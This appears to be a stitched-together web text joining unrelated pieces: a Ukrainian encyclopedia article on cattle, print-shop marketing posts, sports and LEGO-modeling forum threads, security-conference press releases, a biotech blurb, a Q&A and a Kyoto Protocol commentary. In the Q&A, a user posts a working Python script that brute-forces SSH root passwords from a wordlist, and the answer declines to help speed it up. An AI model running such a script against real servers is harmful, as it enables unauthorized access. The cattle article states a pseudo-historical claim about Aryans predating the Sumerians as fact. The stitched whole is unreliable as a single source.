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Бик свійськи́й, або коро́ва (), — вид ссавців роду Бик родини бикових (Bovidae). Слово «корова» позначає самицю виду, а «свійський бик» або «домашній бик» — самця. Розводять заради м'яса, шкіри та молока. У таких релігіях, як індуїзм та буддизм, цю тварину вважають священною, а знищення корови або заподіяння їй шкоди заслуговує кари. В українській народній традиції корова — це годувальниця та основа добробуту сім'ї.

Розрізняють м'ясні, м'ясо-молочні, молочно-м'ясні та молочні породи корів.

Біологія

Опис

Тіло дорослої корови завдовжки сягає двох метрів, зазвичай заввишки вона не більша від 1,5 метра. Хвіст, що служить для відганяння комах, завдовжки до 1,5 метра. Маса корови не перевищує 1 тонни, а в середньому маса дійної корови становить близько 400 – 600 кг.

Забарвлення корів буває різне. Здебільшого це залежить від породи. Найчастіше трапляються корови чорної, чорно-білої, рудої масті. Коров'ячі  роги у більшості порід завдовжки не перевищують 20 см, але є окремі породи, у яких вони досягають метрової довжини. Корови без рогів називаються шутими або комолими. Вуха містяться біля рогів. Кінчики вух густо покриті шерстю. Морда витягнута з тупим великим носом на кінці. Навколо очей — густі вії. Шия схожа на конячу, але товстіша. Ноги завдовжки сягають 1 метра. Діаметр копит — до 25 см.

Еволюція та систематика
Вид Bos taurus класифікував у 1758 році Карл Лінней, поділивши його на три окремі види, які нині вважають підвидами. Перший із них — Bos primigenius taurus, тепер відомий як «корова», поширений у Європі, Африці та Азії.

Другий підвид — Bos primigenius indicus, зебу — поширений в Африці та Індії. Походить від турів, які, потрапивши в Індію близько 200 тисяч років тому, пристосовувалися до місцевих умов і були одомашнені незалежно від звичайних нам корів.

Третій підвид — тур (Bos primigenius primigenius). Його вважають предком корів та зебу. Був поширений у Європі, Центральній Азії, Близькому Сході, Північній Африці. Тури вимерли в XV столітті. Останній у природі тур був забитий на полюванні в східних лісах Польщі в XIX столітті.

Це найбільша та найпродуктивніша свійська тварина.

Поширення
У дикій природі немає підвиду Bos taurus taurus, оскільки він, виведений переважно від підвиду Bos taurus primigenius, уже протягом п'яти століть одомашнений.

У XXI столітті корови поширені на всіх материках, крім Антарктиди. У світі налічують близько 1,3 мільярда голів корів станом на 2006 рік.

У Індії поширений підвид корів зебу. Там найбільше корів — близько 400 мільйонів. У Китаї близько 150 млн голів.

На півночі країн Африки водився тур. Тепер у цих країнах налічують 200 мільйонів корів.

На території західних штатів у США були поширені близькі родичі корови — бізони, які у 2-й половині XIX ст. були майже винищені. Але на сьогодні популяція є сталою. На 2006 рік у США 100 мільйонів голів корів.

На сході Європи, як і на півночі Африки, водились тури. Найбільше їх було в лісах та степах сучасної України, Польщі, Росії. Країни Європи налічують 130 мільйонів корів.

Харчування

Корова — травоїдна тварина. За день може спожити 50 кг рослинної їжі й до 40 л води. Переважно корови випасають траву до 20 см висоти, оскільки не люблять високої трави. Живляться вони такими рослинами: пирієм, конюшиною лучною, конюшиною звичайною, молочаєм, очеретом, аїром та ін. Коли бракує їжі, корови можуть їсти гілки дерев, кущів. Це жуйні тварини. Після достатнього випасання вони пережовують їжу (ремигають) напівлежачи, рідше стоячи.

Узимку на фермах, у колективних господарствах та інше, споживають заготовлене людьми сіно, солому, жом, кормові буряки тощо.

Корова спершу захоплює траву до рота язиком, а тоді відкушує зубами. Не потребує проштовхувати їжу язиком. Крім того, корова здатна захоплювати траву язиком і водночас ковтати. У корови зуби ростуть під певним кутом (зазвичай близько 45°), що допомагає відкушувати траву.

Розмноження
У дикій природі тури билися за самиць. Оскільки тури вимерли, такий ритуал шлюбного періоду не зберігся. Найімовірніше, що виводок був один раз на два роки.

Період вагітності корови триває 285 днів. У цей час тільна корова відзначається більшим апетитом. За час вагітності у корови повільно збільшується розмір тулуба і розширюється таз. За день або кілька днів перед отеленням корова посилено дбає про чистоту свого тіла.
Новонароджене теля заввишки  близько 50 см, завважує 18—45 кг, залежно від породи, і при достатньому теплі, встає на ноги за годину після народження. Корова добре дбає про теля і у більшості випадків відкликається на його голос.

Теля смокче молоко лише 4-6 місяців. Вже у віці 1 місяця може споживати траву, але при цьому смокче молоко матері. Молода корова набуває статевої зрілості у віці 2 років. Корову, що не досягла статевої зрілості або статево зрілу лише 1 рік, українці називають телицею. Середня тривалість життя корови 20 років, щонайбільше 25 років.

За один виводок корова народжує одне теля, рідше двох. Дуже рідко трапляються випадки, коли корови народжують трьох телят за раз.

Зникнення природної популяції
Найдавнішим предком корови вважають тура, або дикого бика. За часів Київської Русі на території сучасної України дуже багато цих тварин населяло степи, лісостепи, мішані ліси. Полювання на турів — велика розкіш тих часів. Ця розвага знаті називалася ловами. Згодом на турів почали полювати і звичайні люди — задля смачного м'яса. Так кількість популяції турів різко зменшилась, і вони стали на грані вимирання. Треба було вчасно вжити необхідних заходів. Оскільки у часи зникнення турів влада країн, де були поширені ці тварини, була заклопотана війнами, вони вимерли через малу кількість популяції та через хворобу, що остаточно 1627 року знищила турів.

У XIX столітті на території Польщі було знайдено кілька пар турів, які згодом також вимерли.

Нині в музеях можна побачити череп тура, що показує велику фізичну силу тварини. Скелет відзначається більшим розміром та довшими рогами, ніж у свійського бика.

Поява здичавілих корів на території Чорнобильської зони відчуження
На території зони відчуження у 2016 році зафіксовано появу стада здичавілих корів. Вони з'явились після того, як дві сім'ї самоселів у місті Чорнобиль та селі Луб'янка померли — тварини, які жили в їхніх господарствах, пристосувались до життя на волі на території Чорнобильського радіаційно-екологічного біосферного заповідника, де спостерігають за ними з 2018 року. Тварини за інформацією науковців, здорові та здатні до захисту себе та потомства. Вони належать до української чорно-рябої породи. При цьому кількість стада поступово зростає — на початку 2019 року їхня кількість становила 13-14 голів, а станом на 2021 — 19 голів. Також стадо зуміло пережити у квітні 2020 року лісову пожежу, відкочувавши у безпечне місце та повернувшись у травні 2020 року на своє звичне місце. Здичавілі корови відіграють позитивну роль у екоценозі Чорнобильської зони, оскільки споживають надлишок рослин і тим самим зменшують ймовірність лісових пожеж.

Породи корів
У сучасному скотарстві налічують близько 300 порід великої рогатої худоби, поширених по всьому світу. Загальна кількість усіх порід корів становить приблизно 1080, з яких 121 порода зебу, 29 порід гібридного походження і 38 порід буйволів.

Тут наведено найпопулярніші породи корів

Молочні: найвисокопродуктивніша — голштинська (рекордистка Убре Бланка — більше 110 кг молока).

Робочого напрямку продуктивності

Сіра українська порода є однією з найдавніших у світі, що є наслідком саме цивілізаційного центру припонтійського походження аріїв, що вийшли в північне Причорномор'я вже з синкретичною землеробсько-скотарською культурою господарювання, на тисячоліття раніше виходу шумерів до межиріччя Тигру та Євфрату. Цих тварин українці використовували як м'ясних, молочних та робочих. Цій породі притаманні витривалість, пристосованість до бідного раціону в степовій зоні, добра якість м'яса. Здебільшого самиць використовували для молока, самців — як тяглову силу. Порода поширена в Україні та сусідніх державах.

Аргентинські науковці вивели породу корів, молоко яких містить інсулін. Молоко цієї породи корисне для людей, хворих на цукровий діабет.

М'ясні
Найпоширенішою м'ясної породою корів є герефордська, яку розводять у США, Канаді, Аргентині, Уругваї, Бразилії, Австралії, Європі, в тому числі й в Україні. Герефордська порода належить до великих порід: жива маса повнолітніх корів становить 550—600 кг, а биків 800—1100 кг.

Абердино-ангуська порода м'ясної худоби виведена в графстві Абердин і Ангус у Шотландії та поширена в багатьох країнах світу: США, Канаді, Аргентині, Новій Зеландії. Акліматизаційні властивості цієї породи дозволяють розводити її в Україні, а також в різних регіонах (Поволжя, Північний Кавказ, Алтайський край, Урал). В Україні абердин-ангусів акліматизували в різних географічних зонах і виявили високий генетичний потенціал м'ясної продуктивності, відтворювальної здатності, поїдання кормів, забійних показників, смакових і кулінарних властивостей м'яса. Жива маса повновікових корів і биків відповідно становить 500—600 і 700—800 кг.

Порода шароле виведена у Франції 200 років тому і за цей час була поширена в більш ніж п'ятдесят країн світу. Жива маса повновікових корів становить 500—600 кг, а биків — 1200—1250 кг.

В Україні виведена Волинська м'ясна порода ВРХ. Також існує Галловейська порода.

М'ясо-молочні
Симентальська порода, виведена у Швейцарії, є однією із найрозповсюдженіших в Америці та Європі. Худоба цієї породи має подвійну продуктивність: молочну (2500 кг молока на корову в рік, 3,7 % жиру) і м'ясну.

Шортгорнська порода виведена у VIII столітті у Великій Британії. Поділяють на два типи: молочного і м'ясного напрямку. На початку XIX століття виведена Бестужевська худоба.

Використання людьми

Вже багато століть тому людина приручила туриць, що з часом стали коровами задля молока. Кількість надоїв молока та кількість м'яса не задовольняла потреб тогочасної людини, і тому людина почала виводити молочні, м'ясомолочні та м'ясні породи корів.

В Африці свійська довгорога форма — ватуссі, відома в культурах цього континенту протягом останніх 6 тис. років.

Молоко

Є дві версії приручення корови: перша — як тяглову силу, друга — як джерело молока. Приблизно 5 століть тому середня кількість надоїв корови становила 1000 літрів за рік. Після виведення нових і нових порід корів середня кількість надоїв корови на рік становить 10000 літрів молока. Найбільшу кількість молока надоїли у корови на території СРСР — близько 15 тис. літрів за рік.

Кількість надоїв молока за рік у тоннах по країнах:

М'ясо

Також люди використовують корів та тримають їх задля м'яса. Для цього виведені спеціальні м'ясні породи корів. М'ясо забитої ялівки або теляти називають телятиною. М'ясо старшої корови називають яловичиною. З коров'ячого м'яса виготовляють багато м'ясних виробів.

Шкіра
Коров'яча та теляча шкіра — це добрий матеріал на одяг та взуття. Теляча шкіра дуже зручна в жарку погоду, оскільки добре пропускає повітря. Із коров'ячої шкіри в Німеччині та Швейцарії роблять добротні меблі. Корів, шкіра яких призначена для меблів високого класу, миють щодня, дбають про те, щоб у шкірі не заводилися комахи.

Перевезення
За однією версією, корову приручили саме для перевезення. Близько тисячоліття тому людина почала використовувати самців корів для перевезення. Для цього їх спершу кастрували, щоб були спокійні, сильні та витривалі. Таких самців корів називали волами. Воли здатні перевозити великі вантажі (до 2 тонн), що є набагато ефективніше, аніж перевезення вантажу кіньми. Проте воли доволі повільні. У Азії аналогією вола є зебу, такий же ефективний. На території України чумаки з волами їздили до Криму по сіль. У XVII столітті віл цінувався більше, ніж кінь.

Корова у культурі

Давнім символом космічних сил, які, за язичницькими віруваннями створили світ, були бик і корова, верховна божественна пара. Корова при цьому була персоніфікацією Матері-Землі і символізувала величезне космічне лоно, в якому виношувалося все існуюче.

Корова набула великої пошани серед українців. Її називали «годувальницею», адже вона давала молоко — продукт, який склада в основний раціон наших предків. До ХІХ ст. корова обов'язково жила у хаті разом з господарями, якою б не тісною була хатина.

У Індії та Африці
У Давній Індії корова — священна тварина, що символізує плодючість, достаток, землю, є персоніфікацією як неба, так і землі. В індуїзмі і в буддизмі спокійний, врівноважений характер корови, імовірно, настільки повно збігався з уявленнями про благочестиве життя, що вона стала найшанованішою і священною твариною. Попри те, що часом корова робить великі збитки, буддисти та індуїсти не перестають її вважати священною.

На території сучасної України
У трипільській культурі корова — богиня. Археологічні знахідки свідчать, що у часи трипільської культури виготовляли керамічні статуетки цієї тварини. На південній території сучасної України знайдені поховання кемі-обинської культури. Під час розкопок поховань виявлено рештки корів, похованих живцем разом із господарем.

Бої биків
Бій биків — змагання людини з биком (іноді в це поняття вводять бій між биками або цькування бика). Нині бій биків практикують у деяких країнах, найвідоміший його іспанський різновид — корида. Міжнародна спільнота виступає проти таких змагань, які закінчуються загибеллю тварини.

Парад корів
Парад корів —  — міжнародна художня акція, що проходить у найбільших містах світу. У процесі акції корів ліплять у їхню натуральну величину, виготовляють із скловолокна, глини, кераміки їх скульптури. Після акції такі скульптури виставляють на вулицях та у громадських центрах.

Корови у геральдиці

Хвороби корів
Захворювання корів бувають різні. Найчастіше трапляється коров'ячий рак крові — лейкоз. Заражені лейкозом корови небезпечні тим, що переносять хворобу через кров та молоко. Щоб уникнути зараження корів лейкозом, їм щорічно роблять вакцинацію та обстежують на цю та інші хвороби. Якщо корова здорова, їй видають спеціальний паспорт на дозвіл споживання молока від неї. Збирати молокопродукти молокозавод може лише тоді, коли є такий паспорт.

Крім того, корова може хворіти на туберкульоз, сказ, сибірку, лептоспіроз тощо.

Часто під шкірою корів живуть личинки ґедзів та деяких інших комах. Ці личинки живляться кров'ю корів і здатні зменшити кількість крові у корови майже на один відсоток.

Вплив на довкілля

Добрива
Коров'ячий перегній є одним із найкращих добрив. Коров'ячий перегній також є одним із найдорожчих удобрювальних матеріалів. У посліді корови часто поселяються мурахи та руді мурахи. Послід корови для удобрення розносять жуки-гнойовики; мухи відкладають у ньому свої яйця. Крім того, кури, розриваючи послід корови, знаходять там багато поживних речовин.

Викиди метану
Вчені виявили, що корови виділяють метан. Його кількість залежить від раціону корови. Продовольча та сільськогосподарська організація ООН підтвердила ці відомості. Найдокладніше цю проблему досліджували у Великій Британії. Дослідники дійшли висновку, що щодня кожна з 10 мільйонів британських корів виділяє приблизно 100—200 літрів метану.

У ході проекту науковці також розглянуть можливі методи скорочення виділення худобою аміаку — ще одного парникового газу. Завданням науковців є розробити якийсь новий раціон для корів, щоб вони менше виділяли газ. Майкл Еббертон з Уельського Інституту досліджень лугопасовищних угідь і навколишнього середовища, що в Аберіствіту, називає кілька можливих варіантів корму корів, щоб зменшити викиди газу: райграс з високим вмістом цукру, біла конюшина й лядвенець.

Британський уряд виділив на цей проект, який здійснюватимуть протягом трьох років, 750 тис. фунтів (приблизно 1,51 млн. $). Головна база досліджень — Уельському університеті в Аберіствіті.

Зменшення популяції в Україні
Останнім часом відзначають скорочення кількості корів у сільському господарстві. Ця проблема найпоширеніша у країнах колишнього СРСР, де приватне сільське господарство влада підтримує на низькому рівні. У селі спостерігають зменшення кількості працездатного населення, яке здатне вирощувати корів. Зменшення кількості корів сприяє подорожчанню молока, що уже помітно у багатьох країнах, особливо в Україні.

Див. також
 Породи великої рогатої худоби
 Бугай
 Віл
 Бик

Примітки

Джерела
 Дитяча Енциклопедія, 1960-ті роки, СРСР
 Про священну тварину корову у Індії та інших країнах
 Про меблі з телячої шкіри
 Про викиди метану

Посилання

 Метан з-під корів по-російському
 Про роль корів у глобальному потеплінні
 В Індії вивели карликових корів
 Корова у інтернет-журналі «Агросектор»
 Про зростання цін на молоко
 Про те, як корова впала у каналізацію у львівському скнилівському парку
 У одному із сіл Житомирської області хвора на сказ корова вкусила власного господаря
 Корова ледь не вбила подружжя звалившись з 60-метрової висоти
 Пісня про корову. Музика та слова Абздольц
 У Закарпатській області корова народила відразу трьох телят
 У США народилася двоголова корова
 Корова привела четвірню
 На Ківерцівщині кожна п'ята корова — лейкозна
 Дійна корова на ім'я Зіна племзаводу «Пісківське» Бахмацького району дає до 45 літрів молока на добу, що в чотири рази перевищує середньообласні показники з надоїв від однієї корови

Бикові
Велика рогата худоба


Letter vs. Card Appeal – Which is Best for Fundraising?
As much as we wish warm weather would stick around, summer is winding down, vacations have been taken, and a new school year is about to begin. If you're involved in fundraising for a nonprofit, you're probably looking ahead to the next few months as you prepare fundraising campaigns to meet end of the year deadlines. Nearly 1/3 of annual giving happens in the holiday month of December. A year-end appeal is critical for achieving fundraising goals. It's never too early to plan your holiday fundraising strategy. One of the most basic questions to ask is, what format should I be using?
Fundraising at its core is like any other marketing effort, in that it relies upon making a connection with your donors. Since 70% of Americans find direct mail communication more personal than digital forms of communication, a personalized mailer is an obvious choice for achieving maximum donor impact. Millennials like direct mail too, with over 90% considering it a reliable source of information. You can be sure a direct mail appeal will allow you to reach a wide audience.
Printing has evolved considerably over the last few years, giving you many format and personalization options. Two of the most popular forms of direct mail fundraisers are appeal letters and greeting cards. Which one should you use for your campaign?
Though the days of hand-writing detailed, personal letters to communicate with personal and professional contacts is long gone, there are still times when sending letters can be effective. One of those occasions is when sending direct mail nonprofit appeals. Letters are still viewed as a personal form of communication. They offer a chance to speak to your donors in a candid and enthusiastic way.
Appeal letters are most effective for continuing your relationship with established donors. Since they have given previously to your organization, they are more likely to read an appeal letter. They have shown their interest in your nonprofit and made an investment. Now, they'll want to learn about the developments you've made and the goals you plan to achieve with their contribution.
Your best audience for an appeal letter is the group who you expect will make a contribution, likely a significant one. Regular donors can usually be counted upon to give the same amount from year to year. They are also more likely to increase their gift than to decrease it. Giving this group a more extensive explanation of your campaign provides them with information upfront that would impact their decision to donate and shows the value of continuing to support your cause.
A minimum mailing includes an envelope and letter. But you can include other pieces of content to contribute to your campaign success. The letter can guide your donors through the rest of the mail piece, which could include images, a pamphlet or brochure, remittance envelope or a reply card with a return envelope. You'll want to tailor your content to what your donor base expects and has worked well in the past, what they would find most useful, and what makes it easy for donors to give. Personalizing any part of the mailing with each donor's name and address is easily done with today's print technology.
Your donors, especially your consistently loyal donors, enjoy hearing from you throughout the year. There's a reason these people support your organization. You represent a part of them that feels needed and appreciated at the same time. People love to help and support causes that are meaningful and close to them. Mid-October through December is the signature holiday fundraising season, accounting for more than 30% of annual charitable giving. However, 2-3 additional appeals throughout the year, (for example, one per quarter), increase your ability to stay top-of-mind with your donors and reach your annual fundraising goals. 70% of people believe they receive too many emails. But when it comes to direct mail donor correspondence, including appeals for virtually every touch, you cannot mail too often.
A personalized appeal letter is an effective fundraising tool. But it's not the only format for a direct mail appeal campaign. A greeting card style appeal can be effective by triggering more visual cues when compared to a letter. Greeting cards allow you to connect with donors by reminding them of your organization while emphasizing the importance of each donor's individual impact in a more visual way.
While an appeal letter can include visuals, an image is a main component of a greeting card, and the first element a donor will see. Choosing a strong visual will grab the reader's attention immediately. Recipients are going to spend time looking at it. If the image sticks in their mind, your organization will also be remembered. A card is also a great place to feature images of or artwork created by individuals who benefit from your organization's services.
As with letter mailings, today's digital printing technology allows a greeting card style mailing to be personalized as well – from a salutation to start the message, to variable text in key messaging locations, and even using variable imaging.
Often, 80% of donations come from 20% of the donors – your major donors. Crafting a card, hand writing a short sentence or two, and signing your name can go a long way towards making a positive impression on your donors. You could have your staff all sign the card. Or send it from an individual rather than the organization to add even more of a personal touch. Sending a more personal card to fewer donors can have more of an impact than sending to a larger audience.
Greeting cards can cost less to produce than an appeal letter depending on the project specifications. Because they can be personalized for each individual, you can use them to connect with a donor who is at any stage in the giving process. A generous message thanking a lead who has shown interest in your organization but hasn't yet given could be just what is needed to ensure a gift is made. And it never hurts to thank those who have given for the difference they've been able to make.
Engaged donors will read the more specific details and story of an appeal letter. Greeting cards may more readily grab the interest of a donor who's scanning the mail piece. Again, no one format is necessarily the most read for any given donor, so it is worth experimenting with different methods.
Many nonprofits send holiday cards, and it's likely your donors will receive more than one this holiday season. The month of December is the most popular time to send holiday cards. Try sending a card during the Thanksgiving or New Year's period to make your message stand out. You could even send a card during a different time of year, like Valentine's Day, when nonprofits aren't regularly mailing cards.
So which is more effective, a letter or a greeting card appeal mailing? As with all marketing and fundraising efforts, it depends, and there is no silver bullet. There's more than one way to tell your story. Both formats possess their respective strengths for making a connection with donors. What IS recommended is experimenting with nuances on each campaign to build your own database of knowledge and measuring results. Your best choice may be to mix it up and try both, measure and compare the results, and use the newfound data to plan future campaigns.
If you're looking to incorporate direct mail pieces as a way to enhance your fundraising strategy, contact Paw Print & Mail today.
Author PPB-AdminPosted on August 30, 2017 June 5, 2018 Categories Direct Mail Marketing, Marketing Strategy, Nonprofit Marketing & Fundraising, PrintingTags Direct Mail Strategy, Fundraising Campaign, Fundraising Strategy, Lead Generation1 Comment on Letter vs. Card Appeal – Which is Best for Fundraising?
As a business owner or manager, you have a lot on your plate. Every day, you have multiple people and projects competing for your attention. You have to ensure customer and employee satisfaction, generate new business, fulfill client needs, and consider potential business and marketing ventures. From the small details to the major decisions, you have a hand in each and every part of what makes your company run smoothly.
An essential piece of marketing your business that you'll want to consider is creating brand awareness. In addition to ensuring customers know your company exists and the kinds of services and products you offer, brand awareness also includes consciousness about who your company is beyond the basics. The image your business portrays includes the quality of your services, the way you handle customer inquiries, and your company's personality. Are you a start-up technology company focused on youth and innovation? An established construction business proud of time-tested methods and your connection to the community? Or something in between?
Owning or managing a business comes with a plethora of responsibilities and considerations. When you think about incorporating brand awareness on top of all the things your company has to consider on a daily, weekly, and monthly basis, it can seem overwhelming, right?
The impression you develop for your business can go a long way toward helping you to build a customer base and make a lasting connection with clients. And it's easier than you may think to bring an effective brand awareness strategy to your business.
Making an impression is all about perception, and a proven way to improve the perception of your business is to incorporate branded apparel into your marketing strategy.
Branded apparel is a cost-effective and relatively inexpensive way to increase brand awareness. While other forms of marketing are certainly necessary and successful, investing in branded apparel for your employees usually requires less of a financial investment than many of these strategies. And, the long-term impact of branded apparel is big. It will be repeatedly seen by customers and the general public and continuously deliver you a return on investment.
Though it is relatively inexpensive, branded apparel can make a big impact. One of the strengths of branded apparel is its possibility to alter your relationships with customers, both current and potential.
It may seem like a relatively small change putting your logo on a shirt, coat, or hat. But having your employees wear these items becomes part of the personality of your company. In the minds of customers, branded corporate apparel is often associated with businesses that are well-established, large, and successful.
So, even if your company is relatively new to the marketplace, you can use branded apparel to convey to your intended audience that you are a professional in your field and have extensive knowledge of the products and services you offer. Your customers will have more confidence in choosing to purchase from your company. They'll feel that they are working with capable employees who are experts in their field.
When your employees wear branded apparel, they are acting as brand ambassadors for your company. And when customers see employees wearing clothing with your company logo, not only does it give the employees a sense of authority. It also conveys to the customer that the employees are proud of the company they work for and confident representatives of the product or service their company provides. If your employees consistently provide positive service for your customers, seeing the logo repeatedly on employee clothing is a reminder to customers that your company is reliable and has been good to them, making them more likely to continue to work with your business in the future.
Customers also equate branded products with quality. They view a branded item as superior to an equal, unbranded product. Including your logo on employee clothing works from this idea. It gives customers the impression that your business provides high-quality products, services, and customer care.
If you want your company to embody words like these, consider investing in branded apparel to increase the success of your brand awareness. Contact Paw Print & Mail today and inquire about our branded apparel services to find the perfect fit for your business.


The preference is to have specific threads regarding the draft as opposed to one general catch all thread that makes it harder for people to find.
Focus edge rusher conversation here.
You think he could play as well in a 4-3 as a 3-4?
I haven't done in-depth scouting yet, but I"m liking Montez Sweat as a 3-4 OLB.
Where would everyone rank Bradley Chubb amongst this draft class? I'm not sure he'd be in my top 5, personally.
This kid is a special athlete. He's an explosive athlete who uses his speed to make OT's lives miserable. Polite also owns a killer spin move and does a good job with his hands as well. While he has primarily been a pass rush specialist for Florida, he has immense upside and could be an elite next level rusher.
Who? From where? While he's not the athlete that Polite is, what sets him apart is his polish as a defender. He not only can rush the passer but does a very good job in the run game. He has excellent hands and can get off blocks. He might not possess the upside of an elite pass rusher but his advanced game could allow him to see the field early.
Walker was a guy who caught my eye a year ago watching some Roquan Smith tape. Walker is long, athletic, and bends well for a guy his size. I also liked how his speed turned into power as he rushed the passer. I also thought he did a good job of setting the edge in run defense the few times I've watched him.
This guy is an absolute missile on the field. Quicker than every tackle he goes up against in the MAC, he arrives with bad intentions for the QB. I'm not sure he can stay at OLB in a 3-4 but I'd also be interested in trying him as an ILB. I remember when Indiana was interested in this guy, the coaches weren't sure where he would play.
Behind Bosa and Oliver (if he's a DE), but in front of Ferrell and the rest, for me.
Gotta keep an eye on Josh Allen, prototype 3-4 OLB... Obviously a great pass rusher, just had tremendous bend around the corner and is always looking to knock the ball loose, but he's slowly become pretty tremendous in pass coverage for a 6'5, 260 lb edge rusher. Looks comfortable as can be dropping back and has several pass breakups on the season. He is a guy who will sky rocket in top 10 territory if he shows up at the under wear olympics. 2x the player Bud Dupree ever was.
Do you guys think Polite could excel in a 4-3 scheme? I know his production has taken a massive jump up with the 3-4, but I'm not sure that's the only reason behind his success. He lost a bunch of weight and put on some more muscle.
Just looking for opinions from people who have done this much longer than myself.
It depends on the 4-3 scheme. I think he's a better fit in the 3-4.
I think he's playing around 245 right now. Was 270 last year and obviously not as explosive. I think he'll play around 255 in the NFL. Basically the same size as Trent Cole, and Cole was good vs the run. Not sure if Polite has Coles functional strength though.
I'm glad his name came up in here as I'm a huge fan over in the 49ers section. Dude has been a monster this season. He has added strength to his game and has become a complete LB. I agree he'll be in the top 10 convo once combine times comes around...but it'll be for his pass rushing ability.


The Lego Modeling community has a wealth of open models and tools. There is a wealth of documentation on the tools but it is scattered. I would like to propose a forum for tool documentation like the Ldraw wiki which appears to not be kept up. In one place, you could find a list of tools, tool comparisons, tutorials, actual examples. Newbies could indicate what is most helpful and expand the knowledge base. An archive could exist for retired materials.
(2018-01-02, 16:50)karen lauro Wrote: The Lego Modeling community has a wealth of open models and tools. There is a wealth of documentation on the tools but it is scattered. I would like to propose a forum for tool documentation like the Ldraw wiki which appears to not be kept up. In one place, you could find a list of tools, tool comparisons, tutorials, actual examples. Newbies could indicate what is most helpful and expand the knowledge base. An archive could exist for retired materials.
This is what the wiki is for! Just create an account and edit. It only neglected because this is an all volunteer organization and we haven't had any volunteers that wanted to do work on it.
I would be happy to do that if I had quality content. That is my problem. I know it exists but do not know where to find it.
(2018-01-02, 18:06)Orion Pobursky Wrote: This is what the wiki is for! Just create an account and edit. It only neglected because this is an all volunteer organization and we haven't had any volunteers that wanted to do work on it.
(2018-01-02, 19:12)karen lauro Wrote: I would be happy to do that if I had quality content. That is my problem. I know it exists but do not know where to find it.
One other thing. It's fairly trivial to link a will article to the main site so if you want to write something or know of an existing article you'd like highlighted won't get "buried" in the wiki.
That will work. If enough content exists it can become its own area/forum.
You are perfectly right on this - but (there is always a but) to maintain such a thing requires time and since I have a little experience in writing tutorial I tell you that it requires a lot. But as Orion already put it: be our guest!
I do write. I have over 100 peer-reviewed papers/government reports/patents published. I would be willing to write.
Where would I find a list(s) of tools and docs? I can start by asking the pros what are their favs for different tasks.


ROSEVILLE, Calif., June 26, 2014 (SEND2PRESS NEWSWIRE) — The High Technology Crimes Investigation Association (HTCIA) will host its 28th Annual HTCIA International Conference and Training Expo August 24 through the 27 at the Hyatt Lost Pines Resort and Spa in Austin, Texas. This year's Keynote Speaker will be FBI Cyber Division's Assistant Director Joseph M. Demarest.
ROSEVILLE, Calif., Sept. 3, 2013 (SEND2PRESS NEWSWIRE) — The High Technology Crime Investigation Association (HTCIA) challenges attendees to solve a Network Forensics Murder Mystery at the 21st Annual International Conference and Training Expo on Sept. 8-11, 2013 at the J.W. Marriott Resort and Spa – Las Vegas in Summerlin, Nev. This popular workshop created by LMG Security is one of this year's featured events, and puts the attendees directly in the shoes of the forensic investigator during a challenging investigation.
ROSEVILLE, Calif., Aug. 23, 2013 (SEND2PRESS NEWSWIRE) — Getting the training and experience needed to work in the computer forensics or network security fields can be challenging and expensive. In keeping with its proud mission of educating individuals involved with high tech investigations, the High Technology Crimes Investigation Association (HTCIA) is uniting with the academic community to offer students and faculty alike, an opportunity to interact with and learn from the top industry experts.
ROSEVILLE, Calif., July 22, 2013 (SEND2PRESS NEWSWIRE) — The High Technology Crimes Investigation Association (HTCIA) will unveil its first HTCIA CISO Summit on September 12, 2013 at the lavish JW Marriott Las Vegas Resort and Spa in Summerlin, Nevada. The CISO Summit, sponsored by McAfee, Cylance, Symantec, Essextec and InfoSecurity, will directly follow the 21st Annual HTCIA International Conference and Training Expo. This new event features a powerful lineup of speakers, including Stuart McClure (Cylance, Inc.) and Bryan Kenyon (McAfee).


This is an exciting time. At BBLS, we are committed to accelerating the development and clinical introduction of cutting edge medical therapies and delivering ROI through science-led innovation from lab to clinic. We believe advancing life sciences should be more than developing a breakthrough therapeutic or trying to treat patients with the latest medical innovation but should include developing novel knowledge. Beyond novel therapeutics, we're developing novel knowledge. Throughout the BBLS portfolio of companies, strategic priorities include strengthening our early-stage pipeline through novel science and technology. BBLS's methods are grounded in a rigorous pursuit of scientific excellence with early clinical application based on clinical excellence and need. Our hallmarks are integrity and transparency through collaboration with expert clinicians and third party Contract Research Organizations (CROs) that track both the portfolio companies' research level data and clinical results.
Utilizing our multidisciplinary management team, our strategy is to streamline our business platforms and simplify the operating models to enhance efficiencies and lower costs, improve decision-making and shorten timelines, and react quickly to market forces to enhance success and returns. As BBLS grows, we are expanding our expertise to assist in the management of all of the portfolio companies in order to transform the business, align goals and cultures, and maximize success.


text:
Q: Python 3 Brute force, paramiko ssh connect fail too much time I am currently codding my first brute force script with python and i had a problem.
When I try connect to my ssh server with a false password, it takes rougly 2 seconds to fail.
When I try to connect to my ssh server with the real password, it instantly accepts it.
So the problem is that when i brute force my test ssh server, it takes 2 second to verify each password... How can i decrease this extra large answer time ?
import paramiko;
import socket;
import time;

check = time.time();

s = paramiko.SSHClient();
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.load_system_host_keys();

host = input("Please enter the host IP: ");

with open(input("Please enter the password file: "), "r") as passwdFile:
    for line in passwdFile:
        password = line.strip("\r\n");
        try:
            s.connect(host, port=22, username="root", password=str(password), timeout=1, allow_agent=False, look_for_keys=False);

            print();
            print(" ************************* ");
            print("The correct password is : " + password);
            print(" ************************* ");
            exit(0);
        except paramiko.AuthenticationException as e:
            print(" [!] Incorrect password: " + password + "  [" + str(time.time() - check) + "s]");
        except socket.error as e:
            print(str(e));
        check = time.time();

A: You can't. This is set via server configuration, and its purpose is specifically to combat the kind of SSH brute force attack that you're trying to do.
It's a bit of darwinian irony- the kind of servers that this would work on don't exist because they're eaten alive the moment they are exposed to public traffic

redpajama_set_name: RedPajamaStackExchange


As representatives from Canada and nearly 200 other nation-states meet in Copenhagen to negotiate the terms of a new international climate change and greenhouse gas emissions agreement, those of us with a predilection for a historical perspective might want to take a moment to reflect on our not too distant past.
This limited agreement of a 6% reduction of greenhouse gas emissions from 1990 levels received a cold homecoming in Canada from many provincial governments as well as the opposition parties in the House of Commons. Reform Party MP Deborah Gray declared that the agreement was "not even worth the recycled paper it's printed on." Preston Manning, the leader of the Official Opposition, predicted that implementation of the Kyoto Protocol would result in "a thirty-five cent per litre jump at the pumps." In 1997, the average retail gasoline price in Canada was fifty-eight cents per litre. According to a federal report of the Standing Committee on Industry, Science, and Technology on "Gasoline Prices in Canada" the average retail price of gasoline by 2003 was 75 cents per litre, without any implementation of the Kyoto Protocol.
